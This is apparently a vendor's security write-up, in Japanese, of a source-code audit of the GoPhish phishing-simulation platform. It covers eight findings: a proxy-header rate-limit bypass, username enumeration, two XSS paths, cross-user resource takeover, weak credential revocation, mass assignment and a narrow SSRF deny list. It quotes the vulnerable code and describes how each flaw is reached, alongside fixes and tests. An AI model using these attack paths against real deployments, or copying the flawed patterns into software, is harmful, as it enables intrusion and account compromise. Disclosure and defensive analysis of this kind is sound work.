当社のAIエンジンNeutronが、UCバークレーのCyberGymベンチマークで96.75%のスコアを記録しました。 詳細を見る

セキュリティ

セキュリティ

GoPhish最新版を徹底分析:Ostorlab Agentic Deep Scanによるソースコード評価

GoPhish最新版が信頼をどのように扱っているか(アイデンティティ、信頼できないコンテンツ、オブジェクトの所有権、認証情報のライフサイクル、外向きリクエスト)を検証した技術評価です。Ostorlab Agentic Deep Scanによるソースコード解析で、レポートレベルの8件の検出結果、PoC、修復の優先順位を確定しました。

GoPhish最新版のソースコード評価

Ostorlab Agentic Deep Scanによるソースコード評価 · レポートレベルの検出結果8件 · 再現可能なローカルPoC

経緯:一つのコードパスから評価全体へ

Ostorlab Agentic Deep Scanの支援を受けて実施したGoPhish最新版のソースコード評価は、単一のバグクラスを探すものではありませんでした。セキュリティ制御が本物かどうかを通常左右する経路をたどりました。HTTP入力からストレージへ、ストレージからブラウザーのシンクへ、アイデンティティから認可へ、そしてURLから外向きの接続へという経路です。

当初、レビューは見慣れたものに見えました。ログインハンドラー、インポート機能、ブラウザー側のレンダリングコードなどです。やがて、経路が収束し始めました。メールサーバーからのエラーが、管理者のブラウザー内でHTMLになり得る。作成用エンドポイントのidという名前のフィールドが、既存レコードの所有権を変更し得る。オペレーターが認証情報を失効させると期待するアカウント操作そのものを経ても、認証情報が生き残り得る。これらの観察はどれも単独では劇的なものではありませんが、組み合わせると、最も重要な信頼境界があまりにも穴だらけなアプリケーションの姿が浮かび上がります。

この評価では、デプロイメントに依存するレート制限のバイパス、ユーザー名の列挙、2系統のクロスサイトスクリプティング(XSS)を、ユーザー間の所有権、API認証のライフサイクル、機密性の高いユーザーフィールド、サーバーサイドのリクエスト制御と結び付けました。報告対象とした各結果は、掲載前に、関連するハンドラー、モデル、ミドルウェア、そしてブラウザーまたはネットワークの経路をまたいで追跡しています。

Ostorlab Agentic Deep Scanは、この評価の全体を通じて関与しました。既存オブジェクトを更新し得る作成パス、アカウントの状態から切り離された認証情報チェック、設定によって挙動が変わる外向きリクエストの制御など、リポジトリ全体で繰り返し現れるパターンを浮かび上がらせました。これらのシグナルが調査の指針となりました。本記事では、評価で確認された、完全で再現可能な経路のみを報告します。

その結果が、レポートレベルの8件の検出結果です。本記事には、それらの検証に使用したローカルの概念実証(PoC)手順と、対応する修復策が含まれています。これらは、隔離され、許可を受けたテスト環境でのみ使用してください。例ではループバックアドレス、合成ユーザー、無害なブラウザーアラートを使用しています。自身が所有していない、またはテストの明示的な許可を得ていないシステムやアカウントに対して使用してはなりません。

本記事のシナリオは、検証済みの挙動に基づいて構成した例示的なものです。セキュリティリード、開発者、プラットフォームオーナーが理解すべきレベルで意図的に書かれています。すなわち、攻撃者に何が必要か、どの信頼境界が破綻するか、誰が影響を受けるか、そして永続的な修正とはどのようなものか、というレベルです。

# 検出結果 主なコンポーネント 実際の影響 リスク
1 リバースプロキシに依存するログインのレート制限バイパス 管理ルーティング / リミッター 公開されたデプロイメントでブルートフォース対策を弱める 中
2 非対称な認証処理によるユーザー名の列挙 ログインハンドラー 有効なアカウント名が判明する 低
3 インポートされた受信者フィールドを介した格納型XSS CSV/グループのインポート → ランディングページ ターゲットのフィッシングドメインのブラウザーでスクリプトが実行される 高
4 SMTPエラーを介した格納型および反射型XSS キャンペーンUI 認証済み管理者のブラウザーでスクリプトが実行される 高
5 作成用エンドポイントのアップサートによるユーザー間のリソース乗っ取り グループ、テンプレート、ページ、SMTPプロファイル 所有権の移転、グループデータの露出 高
6 セッションとAPI認証情報の不完全な無効化 ログアウト / パスワード変更 奪取された認証情報がアカウント操作後も有効なまま残り得る 中
7 機密性の高いアカウントフィールドのマスアサインメント PUT /api/users/{id} 管理上の制御を目的としたフィールドをユーザーが変更できる 中
8 Import Siteがデフォルトでプライベートネットワークに到達可能 POST /api/import/site メタデータ以外の内部アドレスへのサーバーサイドからのアクセス 低

この評価が重要な理由

GoPhishは信頼度の高い立場にあります。受信者データ、キャンペーンのコンテンツ、ランディングページ、メールインフラの設定、そして認証情報の収集をシミュレートするためのワークフローを保持しています。だからこそ、そのセキュリティ境界は明示的でなければなりません。通常の業務アプリケーションの欠陥であれば一つの機能内に封じ込められるかもしれませんが、フィッシングシミュレーション基盤の欠陥は、セキュリティプログラム全体のデータ、コミュニケーション、信頼性に影響を及ぼし得ます。

GoPhishとは何か、そして何を任されているのか

GoPhishは、オープンソースのフィッシングシミュレーションプラットフォームです。管理者は、メールテンプレート、ランディングページ、受信者グループ、送信プロファイルからキャンペーンを組み立てます。プラットフォームはその後、シミュレートされたメッセージを配信し、キャンペーンページを提供し、結果を記録します。同じアプリケーションはAPIも公開しており、オペレーターはキャンペーンやアセットの管理を自動化できます。

このワークフローは、いくつかの異なる信頼ドメインを一つの製品にまとめています。

  • 管理者とAPIユーザーは、キャンペーン、プロファイルデータ、受信者グループ、アカウントの状態を制御する。
  • 受信者データはインポートされ、後にメールやランディングページのテンプレートにレンダリングされる。
  • SMTPインフラはブラウザーアプリケーションの外部にあるが、プラットフォームが記録・表示するプロトコルエラーを供給し得る。
  • ターゲットは別のブラウザーオリジンでキャンペーンのリンクを開き、管理者は特権を持つ管理用オリジンでキャンペーンを管理する。
  • Import Siteは、認証済みユーザーが指定したURLを、GoPhishサーバーが行う外向きリクエストに変換する。

GoPhishの信頼モデルの概念図:管理者、受信者のインポート、SMTP配信、ターゲットのブラウザー、Import Siteの外向き接続が中央のプラットフォームに集まる。
GoPhishプラットフォームのコンテキストと信頼境界

図1:プラットフォームのコンテキストの概念図。シアンのフローは意図された運用上の経路を、アンバーは信頼境界の横断を、赤は特にセキュリティ上の精査に値する経路を表します。これは説明のためのモデルであり、製品のアーキテクチャ図ではありません。

したがって、中央のサーバーは単なるダッシュボードではありません。人、データ、ブラウザー、メールシステム、ネットワークの間を取り持つ変換レイヤーです。本レビューの検出結果は、この変換レイヤーがあるドメインからの入力を受け取り、次のドメインでそれにより大きな権限を与えてしまう箇所で生じています。

技術マネージャーにとっての中心的なメッセージは、「8件の別々のチケット」ではありません。複数の方向から圧力を受けている一つのセキュリティモデルです。

  • ターゲットリストやSMTPサーバーからブラウザーへと渡る入力は、マークアップではなくデータのままでなければならない。
  • 認証済みユーザーが、作成のセマンティクスをユーザー間の更新のセマンティクスに変えられてはならない。
  • ログアウト、パスワード変更、アカウントロックは、UI、セッションCookie、APIのすべてで同じ意味を持たなければならない。
  • URLを取得するアプリケーションは、そのURLが到達すべきでない場所に到達しようとしていると想定しなければならない。

本記事の残りの部分では、レビュー対象のソースツリーでこれらのルールがどこで崩れていたか、そしてそれらをどのように強制可能にするかを記録します。

当社が使用した信頼境界マップ

ファイルを個別にレビューするのではなく、システムを境界の横断の集合としてマッピングしました。そうすることで、各遷移で正しい問いを立てることができました。今この値を制御しているのは誰か、次にそれを信頼するのは誰か、そしてその信頼が誤っていた場合にどのような権限が得られるのか。

Browser / API client ──► routing and authentication ──► application model ──► database
       │                            │                         │                 │
       │                            │                         │                 └─ ownership and state
       │                            │                         └─ create/update semantics
       │                            └─ identity, rate limit, account state
       │
       ├──► landing-page renderer ──► target browser
       ├──► campaign-results renderer ──► administrator browser
       └──► import-site client ──► network destination selected by a URL

レビューでは、これらの接合点のそれぞれで弱点が見つかりました。だからこそ、開発者は検出結果を互いに無関係なコントローラーのバグの寄せ集めとして扱うべきではなく、技術マネージャーは修復を一度きりのパッチリリースではなく、小規模なセキュリティ強化プログラムとして計画すべきなのです。

4つの概念的なリスクレーン:プロキシ由来のアイデンティティがレート制限の判断に到達する。インポートされたデータがブラウザーのレンダリングに渡る。SMTPエラーのデータが管理者UIに渡る。APIのオブジェクトデータと外向きリクエストが所有権とネットワークの境界を越える。
評価における信頼境界の破綻の概念図

図2:本記事全体で使用する視覚的な表現。青は想定されたデータの移動を、アンバーは境界の判断を下さなければならない瞬間を、赤は信頼できないデータにアイデンティティ、HTML、所有権、ネットワーク上の権限が与えられたときに起こることを示します。4つのレーンは(上から順に)認証制御、受信者のレンダリング、SMTPエラーのレンダリング、そしてAPI/オブジェクトと外向きリクエストの制御に対応します。各レーンについての正式な説明は、あくまで本文です。

レーン 境界の判断 示されている破綻
認証 どのコンポーネントがクライアントのアイデンティティを主張してよいか クライアントが制御するプロキシヘッダーが新しいレート制限バケットを作る。
受信者のレンダリング インポートされた連絡先データはテキストかマークアップか 受信者フィールドがターゲットのブラウザーでアクティブなコンテンツになる。
SMTPエラーのレンダリング プロトコルエラーは安全なブラウザーコンテンツか メールサーバーのエラーがHTMLとして管理者のDOMに到達する。
APIの永続化とImport Site 入力が所有権を変更したり、ネットワーク上の宛先を選択したりしてよいか 作成リクエストが他のユーザーのオブジェクトを更新する。URLがプライベートネットワーク上のターゲットに到達する。

レポートが問題をこのようにグループ分けしているのもこのためです。最初のレーンはレート制限とユーザー列挙を、2つ目はCSVからランディングページへのXSSを、3つ目はSMTPエラーのXSSを扱います。そして最後のレーンは、サーバーサイドの権限に関する2つの問題、すなわち所有権を変更する永続化と、ネットワーク上の到達可能性を変更するURLを扱います。

スコープと検証方法

この評価は、付属のデフォルト設定を使用したGoPhish最新版を対象としています。

レポートの検証方法

報告対象となるすべての経路は、2つのチェックをクリアする必要がありました。第一に、ソース内で完全なデータフロー、すなわちエントリーポイント、変換または保存、そしてセキュリティ上重要なシンクを特定する必要がありました。第二に、実際の境界条件を確定する必要がありました。認証済みアクセスか未認証アクセスか、UIの挙動かAPIの挙動か、リバースプロキシの設定、デフォルト設定か任意の設定か、そして破壊的な変更かデータの露出か、といった違いです。その後、合成したユーザーとデータを使ってローカルで挙動を再現しました。完全な手順は検証の付録に掲載しています。

この規律こそが、いくつかの初期の仮説をより正確な検出結果へと変えたものです。要約表のリスク評価は、検証済みの経路と記載した前提条件を反映したものであり、あらゆるデプロイメントに当てはまる普遍的な重大度の主張ではありません。

1. ログインのリミッターがプロキシ由来のアドレスを信頼している

GoPhishは、管理用のPOSTリクエストを1分あたり5リクエストのリミッターで保護しています。リミッターはリクエストのアドレスをもとにバケットのキーを決めます。同時に、管理用ハンドラーはhandlers.ProxyHeadersでラップされており、X-Forwarded-ForやX-Real-IPなどの転送ヘッダーを受け付けます。

// controllers/route.go
adminHandler = handlers.ProxyHeaders(adminHandler)

// middleware/ratelimit/ratelimit.go
limit := rate.NewLimiter(
    rate.Every(time.Minute/time.Duration(limiter.requestLimit)),
    limiter.requestLimit,
)

リミッターは、プロキシヘッダーの正規化後のr.RemoteAddrから判断を下します。

clientIP, _, err := net.SplitHostPort(r.RemoteAddr)
if err != nil {
    clientIP = r.RemoteAddr
}
if r.Method == http.MethodPost && !limiter.allow(clientIP) {
    http.Error(w, http.StatusText(http.StatusTooManyRequests), http.StatusTooManyRequests)
    return
}

これは普遍的なプロキシヘッダーのバグではなく、デプロイメントに依存する問題です。GoPhishに直接到達でき、かつ上流のプロキシがクライアントの指定した転送ヘッダーを削除または上書きしない場合、攻撃者は見かけ上のクライアントアドレスを変えて新しいリミッターバケットを得ることができます。実装は指示されたとおりのことをしています。プロキシが提供したアドレスを信じているのです。破綻しているのは、どのネットワークコンポーネントがその主張を行う資格を持つのかを、アプリケーションが確立していない点です。これらのヘッダーを管理する、正しく設定されたリバースプロキシがあれば、この特定のバイパスは防げます。

想定シナリオ:図の上でしか機能しない制御:あるセキュリティチームが、ロールアウトのある段階で管理コンソールをロードバランサーの背後にデプロイし、その後インシデント対応中にトラブルシューティング用の経路を直接公開します。アプリケーションは依然として転送ヘッダーを信頼できるものとして扱います。5リクエストのログイン制御は、コード上でも基本的なテストでも正常に見えますが、もはや安定したネットワークアイデンティティに結び付いていません。運用上の教訓は、レート制限がシステム全体の制御だということです。エッジ、プロキシ、アプリケーション、監視ルールのすべてが、クライアントが誰であるかについて一致していなければなりません。

エンジニアリング上の優先事項:可能であれば管理サービスをプライベートインターフェースにバインドする。信頼できるプロキシネットワークからのみプロキシヘッダーを許可する。受信した転送ヘッダーをエッジで上書きする。そしてリバースプロキシまたはWAFで2つ目のレート制限を適用する。

維持すべきリグレッションテスト:デプロイメントで想定されているイングレスを通じて、偽装した転送ヘッダー付きのログインリクエストを繰り返し送信し、実質的に単一のクライアントバケットが使われることを検証する。別途、管理画面への直接アクセスが不可能であるか、信頼できないプロキシヘッダーを拒否することを検証する。

2. ログインの挙動からユーザー名の存在が判明し得る

AdminServer.Loginでは、GoPhishはまずユーザー名を検索します。検索に失敗すると、ただちに無効なログインのレスポンスを返します。パスワードハッシュの検証を行うauth.ValidatePasswordに到達するのは、存在するユーザーだけです。

u, err := models.GetUserByUsername(username)
if err != nil {
    as.handleInvalidLogin(w, r, "Invalid Username/Password")
    return
}
err = auth.ValidatePassword(password, u.Hash)

表示されるエラーは意図的に同一ですが、処理は同一ではありません。存在するユーザー名ではパスワードハッシュの検証が発生し、存在しないユーザー名では発生しません。測定を繰り返すと、これがタイミングオラクルを生み出し得ます。初期のレポートに対する重要な訂正は、この問題がORMのプリロードだけに起因するものではないという点です。ソースには、未知のユーザーの経路でそれを補うダミーのパスワードハッシュ比較が存在しません。

これは、セキュリティレビューが汎用的なエラーメッセージで止まるべきではない理由を示す好例です。ユーザーに返される文字列は、観測可能なものの一つにすぎません。所要時間、データベースの挙動、レート制限との相互作用も、攻撃者が体験する認証プロトコルの一部です。

想定シナリオ:パスワードスプレー攻撃の対象を絞り込む:攻撃者は、目に見える「ユーザーが見つかりません」というバナーがなくても、有用な情報を得られます。十分な数のリクエストと安定したネットワーク経路があれば、未知のユーザーと既知のユーザーの分岐間の非対称性が、存在する可能性の高いアカウント名の判別に役立ちます。これにより、後のパスワードスプレー攻撃やソーシャルエンジニアリングのキャンペーンのためのリストが絞り込まれます。この検出結果は、すべてのデプロイメントで明瞭なタイミングシグナルが得られると言っているのではありません。アカウントの存在を条件として認証処理を行うことで、アプリケーションが不必要にシグナルを生み出していると言っているのです。

エンジニアリング上の優先事項:未知のユーザーには固定のダミーハッシュを使い、常にパスワード検証処理を実行する。そしてレスポンスメッセージ、ステータスコード、観測可能な処理を一貫させる。この変更に加えて、アカウントレベルとネットワークレベルのスロットリングを適用する。

維持すべきリグレッションテスト:管理されたベンチマークで、有効なユーザー名と無効なユーザー名に同じ誤ったパスワードを使ってテストする。テストでは、どちらの経路でもパスワードハッシュの比較が呼び出されること、そしてどちらのレスポンスも異なるステータス、ボディ、リダイレクトの挙動を露出しないことを確認する。

3. インポートされたCSVフィールドがエスケープされないランディングページのテンプレートに到達する

グループのインポート経路は、FirstName、LastName、Positionなどの受信者プロパティを受け付けます。これらの値は受信者データとして保持されます。キャンペーンがランディングページをレンダリングする際、GoPhishはPhishingTemplateContextを構築し、Goのtext/templateパッケージを通じてページのコンテンツを実行します。

// models/template_context.go
tmpl, err := template.New("template").Parse(text)
if err != nil {
    return buff.String(), err
}
err = tmpl.Execute(&buff, data)

text/templateは、HTMLのコンテキストに応じたエスケープを行いません。そのため、受信者フィールドにインポートされた値は、ランディングページが対応するテンプレート変数を使用すると、マークアップになり得ます。実行コンテキストはターゲットのブラウザー内のフィッシング用ランディングページのオリジンであり、自動的にGoPhishの管理用オリジンになるわけではありません。影響を評価する際には、この境界が重要です。

関連する信頼の遷移は単純ですが危険です。

CSV / API recipient value
        ↓ stored as recipient metadata
campaign template variable (for example, a name field)
        ↓ text/template executes the page
target browser receives attacker-controlled markup

このリスクは技術的なものであると同時に運用上のものでもあります。チームは、人事システム、スプレッドシート、サードパーティ、テスト用データセットなどから受信者リストをインポートすることがよくあります。取り込みの時点では値は連絡先データに見えるかもしれませんが、テンプレートエンジンがそれをHTMLドキュメントに配置した後は、実行可能なブラウザーコンテンツになっています。

想定シナリオ:現実的なリストがアクティブなページになる:キャンペーンのオペレーターが、別の事業部門から提供されたスプレッドシートをインポートし、各受信者に名前で挨拶するランディングページを作成します。オペレーターから見えているのはデータのインポートのワークフローですが、アプリケーションは後に、受信者が制御する置換を含むHTMLテンプレートとして扱います。ターゲットがキャンペーンのリンクを開くと、ブラウザーが扱っているのはもはや名前のフィールドではなく、インポートとテンプレートのレンダリングの段階を生き残ったマークアップです。ターゲットはGoPhishにアクセスする必要がなく、オペレーターは大きなリストの中の安全でない値に気付かないかもしれません。

CSVからランディングページへのXSS経路をサニタイズして示した確認結果
サニタイズしたCSV XSSのエビデンス

図3:サニタイズしたローカル検証のエビデンス。無害なアラートにより、合成した受信者フィールドがインポートとランディングページのレンダリングの境界を越えたことが確認できます。実際のターゲットデータや認証情報は表示していません。

エンジニアリング上の優先事項:出力コンテキストごとにレンダリングを分割する。HTMLのランディングページにはhtml/templateを、プレーンテキストのコンテンツにはテキストとして安全なレンダリングを使い、必要に応じてURLやヘッダーを明示的に検証する。共有のExecuteTemplate関数を丸ごと置き換えてはならない。この関数はメール本文、URL、ヘッダー、添付ファイルにも使われているからである。トラッカーなど、システムが生成する信頼できるHTMLのために、範囲を狭く限定した型付きの仕組みを維持し、インポートされた連絡先データは、管理者のCSVに由来するものであっても信頼できないものとして扱う。

維持すべきリグレッションテスト:HTMLやJavaScriptのコンテキストで意味を持つ文字を含む受信者レコードを作成し、サポートされているすべての受信者フィールドをランディングページにレンダリングし、ブラウザーが実行可能なマークアップではなくエンコードされたテキストを受け取ることをアサートする。悪用可能性が決まるのはシンクであるため、CSVのパースだけでなく、ランディングページのレンダラーをテストする。

4. SMTPの失敗が管理パネルのXSSシンクになる

次の経路は、Webアプリケーションの外部から始まりました。SMTPサーバーがエラーレスポンスの一部を制御します。バックエンドはerrorをイベントの詳細に変換し、HTMLエンコードせずに永続化します。

// models/result.go
func (r *Result) HandleEmailError(err error) error {
    event, err := r.createEvent(
        EventSendingError,
        EventError{Error: err.Error()},
    )
    // event is persisted with the campaign result
}

キャンペーン結果のクライアント側コードは、後でイベントの詳細をパースし、details.errorを直接HTMLに連結します。

if (details.error) {
    results += '<div class="timeline-event-results">'
    results += '<span class="label label-default">Error</span> ' + details.error
    results += '</div>'
}

これにより、管理者が後で該当するキャンペーン結果を開いたときに、管理パネルにおける格納型XSSの経路が生まれます。関連する反射型の経路も存在し、キャンペーン作成画面がテストメール送信操作から返されたAPIのエラーメッセージをHTMLエンコードせずに挿入する場合に生じます。これは推測による文字列マッチングではありません。同じコードベースの別の箇所、つまり送信プロファイルのUIでは、escapeHtml()を呼び出す安全なパターンが示されています。

リスクが生じる場面は2つあります。

経路 信頼できない生成元 ブラウザーのシンク 重要な理由
格納型 キャンペーンのイベントとともに永続化されたSMTP配信の失敗 キャンペーン結果のタイムライン ペイロードは、管理者が配信の失敗を調査するのを待ち受ける。
反射型 テストメールAPIが返すSMTPの失敗 キャンペーン作成画面のエラー領域 ペイロードは、通常の運用操作中にただちに表示される。

文字列の出どころも重要です。SMTPのレスポンスは外部のプロトコルメッセージです。それを信頼できるUIコンテンツとして扱うことは、信頼境界を2回越えることになります。1回目はネットワークからアプリケーションへ、2回目はアプリケーションデータからDOMのHTMLへです。

サニタイズしたSMTPエラーの検証エビデンス
サニタイズしたSMTP XSSのエビデンス

図4:サニタイズしたローカルのSMTP検証エビデンス。テスト用リスナーは、格納型および反射型の経路のチェックで使用する無害なSMTPエラーのペイロードを送出します。シークレットや稼働中のエンドポイントの詳細は表示していません。

シンクが認証済みの管理用オリジン内にあるため、影響は見た目だけのUIエラーよりも大きくなります。レビュー対象のUIは、templates/base.htmlでアクティブなユーザーのAPI認証情報をブラウザーのJavaScriptに露出しており、DOMベースのXSSの修復は特に急を要します。

想定シナリオ:インシデント対応者が標的になる:あるキャンペーンで配信の失敗が返され始めます。管理者は、製品が想定しているとおりの行動をとります。キャンペーンのタイムラインを開き、失敗したイベントを展開し、問題を理解するためにエラーを読みます。その瞬間、メールインフラが供給した値がHTMLとしてDOMに挿入されます。防御のためのワークフロー、つまりメールの失敗の調査が、管理コンソールにおけるブラウザー側での実行のトリガーになるのです。反射型の経路は、オペレーターがキャンペーンを開始する前に送信プロファイルをテストするときに、ワークフローのより早い段階で同じリスクをもたらします。

エンジニアリング上の優先事項:textContent、jQueryの.text()、または一貫したHTMLエスケープのヘルパーを使ってエラーをテキストのまま保つ。エラー文字列をHTMLに連結しない。そして、ブラウザーでレンダリングされるJavaScriptから長期間有効なシークレットを取り除く。

維持すべきリグレッションテスト:モックしたSMTPの失敗にマークアップ風のテキストを注入し、キャンペーン結果のレンダラーとテストメールのエラーレンダラーの両方をブラウザーレベルのテストでテストする。アサーションは構造的なものとする。UIがテキストノードを表示すること、エラーから要素が作られないこと、インラインのイベントハンドラーやURL属性が解釈されないことを確認する。

5. 作成用エンドポイントがユーザー間の更新用エンドポイントとして振る舞う

評価では、リソース作成用のハンドラーがidを含むJSONボディを受け付け、リクエスト元のUserIdを付与し、その後GORMのSaveで永続化するモデル関数を呼び出すというパターンが特定されました。IDがゼロでない場合、Saveは挿入ではなく更新になります。

// controllers/api/template.go — POST path
t.UserId = ctx.Get(r, "user_id").(int64)
err = models.PostTemplate(&t)

// models/template.go
err := db.Save(t).Error

これは、グループ、メールテンプレート、ランディングページ、SMTPプロファイルの作成パスに影響します。他のユーザーの既知のリソースIDを指定できるユーザーは、レコードの再割り当てや上書きを引き起こせます。グループの場合、保持されたターゲットの関連付けによって結果がより深刻になります。所有権の移転後、攻撃者はそのグループと、すでにそれに紐付けられているターゲットを読み取ることができます。

同じ結論を過度に一般化すべきではありません。テンプレート、ページ、SMTPプロファイルの場合、実証された中核的な問題は、認可されていない所有権の移転と破壊的な変更です。IDを知っているだけで、更新前の旧レコードの機密性の高い値が必ずしも開示されるわけではありません。

この問題を単に「IDOR」と呼ぶのが狭すぎるのはこのためです。根底にある設計上の問題は、曖昧な永続化のセマンティクスです。作成としてルーティングされたリクエストが、それでも既存のオブジェクトを変更できてしまうのです。読み取りと削除の操作では、いくつかのモデルクエリに所有権の条件が正しく含まれていますが、POSTからSaveへの経路は、その所有権の境界を迂回する別のルートを生み出しています。

想定シナリオ:リソースが知らないうちに持ち主を変える:2人のユーザーが同じGoPhishのインストールを共有していますが、キャンペーンのデータは共有すべきではありません。一方のユーザーが、社内演習のための機密性の高いターゲットグループを作成します。もう一方の認証済みユーザーが、アプリケーションが作成リクエストと呼ぶものを送信しますが、そのリクエストには既存のリソース識別子が含まれています。永続化レイヤーはゼロでない主キーを更新として扱い、2人目のユーザーの所有権を適用します。その後、元のユーザーは、通常の所有者スコープのクエリによってアクセスを拒否されます。グループの場合は、既存のターゲットの関連付けによってこの破綻が特に重大になります。その他のリソースタイプでは、確認された影響は認可されていない乗っ取りと業務の妨害です。

既存のIDを指定した作成リクエストによって、認証済みのテストユーザーが合成したターゲットグループを乗っ取る様子を示した、サニタイズ済みのAgentic Deep Scanのエビデンス。
サニタイズしたAgentic Deep Scanのアクセス制御のエビデンス

図5:ユーザー間のリソース乗っ取りの経路に関する、サニタイズしたAgentic Deep Scanのエビデンス。アカウント名、受信者データ、APIキー、エンドポイントの詳細は合成したものです。

重要な設計上の洞察は、GETハンドラーにチェックを追加するだけでは認可を修復できないということです。データモデルは、読み取り時には完璧にスコープされていても、書き込みの経路がサーバー側で所有すべき識別子を受け付け、永続化の前に所有者を変更してしまえば、侵害され得ます。

エンジニアリング上の優先事項:作成と更新の操作を区別する。POSTでクライアントが指定したIDを拒否し、明示的な挿入操作を使い、すべての更新と読み取りをリソースIDと所有者の両方でスコープし、すべてのリソースタイプに対して2人のユーザーを使ったテストを追加する。

維持すべきリグレッションテスト:グループ、テンプレート、ページ、SMTPプロファイルのそれぞれについて、ユーザーAとしてオブジェクトを作成し、ユーザーBとしてそのオブジェクトの識別子を含むPOSTを送信し、リクエストが拒否され、保存されている所有者、コンテンツ、関連レコードが変更されないことをアサートする。Saveの挙動がこの問題の中心であるため、このテストは実際の永続化レイヤーに対して実行しなければならない。

6. ログアウトとパスワード変更ですべてのベアラー認証情報が失効されるわけではない

GoPhishは、最大有効期間が5日間の、署名および暗号化されたCookieセッションを使用しています。鍵はプロセスの起動時に生成されます。

var Store = sessions.NewCookieStore(
    []byte(securecookie.GenerateRandomKey(64)),
    []byte(securecookie.GenerateRandomKey(32)))
Store.MaxAge(86400 * 5)

ログアウトの実装は、サーバー側で認証情報を無効化するのではなく、現在のCookieを変更します。

// controllers/route.go
session := ctx.Get(r, "session").(*sessions.Session)
delete(session.Values, "id")
session.Save(r, w)

ログアウトは新たに発行されるCookie内のセッション識別子をクリアしますが、この設計にはサーバー側のセッションレジストリや失効リストがありません。以前に奪取された、まだ有効なCookieは、有効期限まで使用可能なまま残り得ます。パスワード変更でもAPIキーは自動的にローテーションされません。APIキーはデータベースに保存されたベアラー認証情報であるため、プロセスを再起動するとCookieの署名は無効になりますが、APIキーはローテーションされません。これは元のレポートに対する重要な訂正です。

RequireAPIKeyは、APIキーによってユーザーを取得し、AccountLockedやPasswordChangeRequiredを評価することなく、それをリクエストコンテキストに格納します。つまり、有効なまま残っているAPIキーは、Webログインの状態が変わった後でもAPIへのアクセスを保持し得るということです。

アカウントのイベント Cookieセッションの挙動 APIキーの挙動 望ましいセキュリティ特性
ログアウト 現在のブラウザーはクリアされるが、以前の有効なCookieはサーバー側で失効されない 変化なし 意図された範囲のすべてのアクティブな認証情報を失効させる。
パスワード変更 既存のCookieは有効期限前に必ずしも無効化されない 変化なし セッションとAPIキーをローテーションまたは無効化する。
アカウントロック / 強制変更 アカウントがロックされている場合、新たな対話型ログインは拒否されるが、既存のCookieセッションは拒否されない。パスワード変更の状態はWebリクエストに対して強制される APIミドルウェアはキーを検証するだけ 認証済みのすべてのインターフェースと認証情報に同じアカウントの状態を適用する。

これはCookie設定のバグにとどまらない、ライフサイクルの破綻です。組織がアカウントロック、パスワードの強制ローテーション、退職者のオフボーディングを制御として使っているなら、APIがそれとは別の、より制限の緩いアイデンティティシステムであり続けることは許されません。

想定シナリオ:扉を開けたままにするオフボーディング制御:あるチームが不審なアクティビティを検知し、アカウントをロックし、パスワードをリセットし、該当ユーザーにログアウトを求めます。オペレーターの視点では、ブラウザーセッションは解決したように見えるかもしれません。しかし、以前に自動化スクリプトにコピーされたAPIキーは、依然としてそのアカウントに対応しています。APIミドルウェアは同じアカウント状態のチェックを強制せずにベアラーキーを検証するため、スクリプトはAPIの機能に到達し続けます。リスクは悪意のある永続化だけではありません。あるインターフェースではアカウントが無効と表示され、別のインターフェースでは引き続き受け付けられるという、混乱を招くインシデント対応も生み出します。

エンジニアリング上の優先事項:サーバー側セッションまたはバージョン管理されたセッションに移行する。ログアウト、パスワードリセット、ロックアウト、権限変更の際にセッションとAPIキーをローテーションまたは失効させる。そしてAPIキーのミドルウェアでアカウント状態のチェックを強制する。

維持すべきリグレッションテスト:CookieセッションとAPIキーを発行し、ログアウト、パスワード変更、アカウントロック、ロール変更を個別のケースとして実行する。毎回、両方のインターフェースについて望ましい結果を検証する。セキュリティ上重要な状態遷移には、ログインそのものと同じテストカバレッジが必要である。

7. ユーザー更新APIが管理用の制御フィールドを受け付ける

有効なAPIキーを持つシステム権限のないユーザーが、自身のPasswordChangeRequiredフラグとAccountLockedフラグをクリアできます。これにより、管理者が強制しようとしたパスワードの強制変更やアカウントロックの制御を、ユーザー自身が無効化できてしまいます。

更新用エンドポイントは、セルフサービスの変更に使われるのと同じリクエスト表現の中でこれらのポリシーフィールドを受け付け、それらを保存済みのユーザーに直接コピーします。

existingUser.PasswordChangeRequired = ur.PasswordChangeRequired
// ... password update omitted ...
existingUser.AccountLocked = ur.AccountLocked
err = models.PutUser(&existingUser)

ロールの変更にはシステムロールのガードがありますが、この2つのアカウント制御フィールドにはありません。根本原因は、管理者によるアカウント管理とセルフサービスのプロファイル更新という2つの権限に、一つの広範なリクエスト型が対応していることです。

想定シナリオ:もはやポリシーではなくなったポリシーフラグ:ある組織では、ユーザーは作業を続ける前に一時パスワードを変更しなければなりません。アカウントには管理者によって正しくフラグが設定されています。しかし、APIがそのフィールドを通常のプロファイルデータとして扱うため、同じユーザーがその要件を取り除く状態を含むセルフ更新の表現を送信できます。結果は目立たないものです。劇的なロール昇格はありませんが、セキュリティチームや運用チームが確立した制御を、本来それが制約するはずの当人が無効化できるのです。

エンジニアリング上の優先事項:セルフサービスのプロファイル変更と管理者によるアカウント管理に、別々のリクエスト型を使う。フィールドレベルの認可を適用し、ロックとパスワード変更のポリシーフラグへのセルフサービスによる書き込みを拒否し、機密性の高いすべてのフィールドについてネガティブケースをテストする。

維持すべきリグレッションテスト:システム権限のないユーザーとして認証し、ロック状態、認証情報のポリシー、ロール、アカウントのライフサイクルに影響するすべてのフィールドの更新を試みる。期待される結果は「更新が失敗する」だけではない。それらのフィールドについて、永続化されたアカウントがまったく変更されないことである。

8. Import Siteのダイヤラーがデフォルトで狭い拒否リストを使う

POST /api/import/siteは、制限付きのダイヤラーを通じてユーザーが指定したURLを取得します。その役割は、ブラウザーのためにURLを検証するだけではありません。GoPhishはHTTPトランスポートをインスタンス化し、サーバーサイドのリクエストを行い、レスポンスをHTMLとしてパースし、その結果のページコンテンツを認証済みの呼び出し元に返します。制限は実在しますが、そのデフォルトのポリシーはリンクローカルのメタデータ範囲しか拒否しません。

var defaultDeny = []string{
    "169.254.0.0/16",
}

denyList := defaultDeny
if len(allowed) > 0 {
    denyList = allInternal
}

より完全なallInternalリストには、ループバック、RFC1918、その他の非公開範囲が含まれていますが、これが有効になるのはallowed_internal_hostsが設定されている場合だけです。デフォルト設定では、ネットワークのルーティングとサービスの稼働状況次第で、インポート機能を通じてプライベートネットワーク上の宛先に到達可能なままになります。

